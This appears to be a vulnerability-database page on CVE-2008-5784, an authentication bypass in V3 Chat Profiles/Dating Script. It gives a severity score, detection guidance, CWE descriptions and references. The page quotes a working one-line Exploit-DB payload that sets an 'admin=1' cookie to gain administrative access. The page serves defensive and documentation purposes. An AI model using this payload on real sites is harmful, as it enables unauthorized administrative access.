CVE-2008-5784
published 2008-12-31CVE-2008-5784: V3 Chat - Profiles/Dating Script 3.0.2 allows remote attackers to bypass authentication and gain administrative access by setting the admin cookie to 1.
PriorityP261critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
7.10%
93.4th percentile
V3 Chat - Profiles/Dating Script 3.0.2 allows remote attackers to bypass authentication and gain administrative access by setting the admin cookie to 1.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| v3chat | v3_chat_profiles_dating_script | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect requests to admin pages where the HTTP cookie header contains 'admin=1', indicating attempted authentication bypass via insecure cookie manipulation. ↗
- →Monitor for browser-side JavaScript cookie injection attempts setting admin=1 via the URL/address bar (javascript: scheme), a common delivery vector for this exploit. ↗
- →Flag HTTP requests to /v3livesupport-v304/admin/ paths that carry a cookie value of admin=1, as this path is the known target of the Live Support variant of this attack. ↗
- ·The vulnerability affects V3 Chat Profiles/Dating Script version 3.0.2 specifically; the insecure cookie check is client-side and trivially bypassed — no server-side session validation is performed for the admin cookie. ↗
- ·A related but distinct product, V3 Chat Live Support v3.0.4, shares the same insecure cookie handling pattern (admin=1) and admin path structure, suggesting the vulnerability class is systemic across the V3 Chat product family. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
V3 Chat Profiles/Dating Script 3.0.2 - Insecure Cookie Handling
exploitdb·2008-11-08
CVE-2008-5784 V3 Chat Profiles/Dating Script 3.0.2 - Insecure Cookie Handling
V3 Chat Profiles/Dating Script 3.0.2 - Insecure Cookie Handling
---
###############################################################################################
[+] V3 Chat - Profiles/Dating Script v3.0.2 Insecure Cookie Handling Vulnerability
[+] Discovered By : Mountassif Moad
[+] Greetz : All my freind
################################################################################################
Exploit:
javascript:document.cookie = "admin=1; path=/";
# milw0rm.com [2008-11-08]
Exploit-DB
V3 Chat Live Support 3.0.4 - Insecure Cookie Handling
exploitdb·2008-11-08
CVE-2008-5784 V3 Chat Live Support 3.0.4 - Insecure Cookie Handling
V3 Chat Live Support 3.0.4 - Insecure Cookie Handling
---
[!] [!]
[!] OOOO O OOOOOOOOO [!]
[!] O O O O O [!]
[!] O O O [!]
[!] O OOOO OOOO OOOOOO OOOO OOO OO O OOOO OO OO OOOO [!]
[!] O OOO OOO O O O O OO O O O O OO O O O [!]
[!] O OO OO O O OOOOOO O ******* O O O O O OOOOOO [!]
[!] O O OOOO O O O O O O O O O O O [!]
[!] OOOO OO OOOOOO OOOO OOOOOO OOOOOOOOO OOOO OOO OOO OOOO [!]
[!] OO [!]
[!] OO [!]
[!] OO Proud To Be MoroCCaN [!]
[!] OO [!]
+---- Bismi Allah Irahmani ArraHim ----+
++--------------------------------------------------------------------------------------------------------------------------------------------------------+
++ [ V3 Chat Live Support v3.0.4 Insecure Cookie Handling Vulnerability ] ++
+----------------------------------------------------------------------------
No writeups or analysis indexed.
CWE
Reliance on Untrusted Inputs in a Security Decision
mitre_cwe
CWE-807 Reliance on Untrusted Inputs in a Security Decision
CWE-807: Reliance on Untrusted Inputs in a Security Decision
The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.
Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software. Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.
Modes
CWE
Reliance on Cookies without Validation and Integrity Checking in a Security Decision
mitre_cwe
CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision
CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision
The product uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.
Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.
Modes of Introduction:
Phase: Implementation
Common Consequences:
Scope: Access Control. Impact: Bypass Protection Mechanism, Gain Privileges or Assume Identity. It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high lev
CWE
Reliance on Cookies without Validation and Integrity Checking
mitre_cwe
CWE-565 Reliance on Cookies without Validation and Integrity Checking
CWE-565: Reliance on Cookies without Validation and Integrity Checking
The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.
Modes of Introduction:
Phase: Architecture and Design
Note: OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Phase: Implementation
Common Consequences:
Scope: Confidentiality, Integrity, Availability. Impact: Modify Application Data, Execute Unauthorized Code or Commands. Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers
http://secunia.com/advisories/32603http://www.securityfocus.com/bid/32216http://www.vupen.com/english/advisories/2008/3071https://exchange.xforce.ibmcloud.com/vulnerabilities/46479https://www.exploit-db.com/exploits/7063http://secunia.com/advisories/32603http://www.securityfocus.com/bid/32216http://www.vupen.com/english/advisories/2008/3071https://exchange.xforce.ibmcloud.com/vulnerabilities/46479https://www.exploit-db.com/exploits/7063
2008-12-31
Published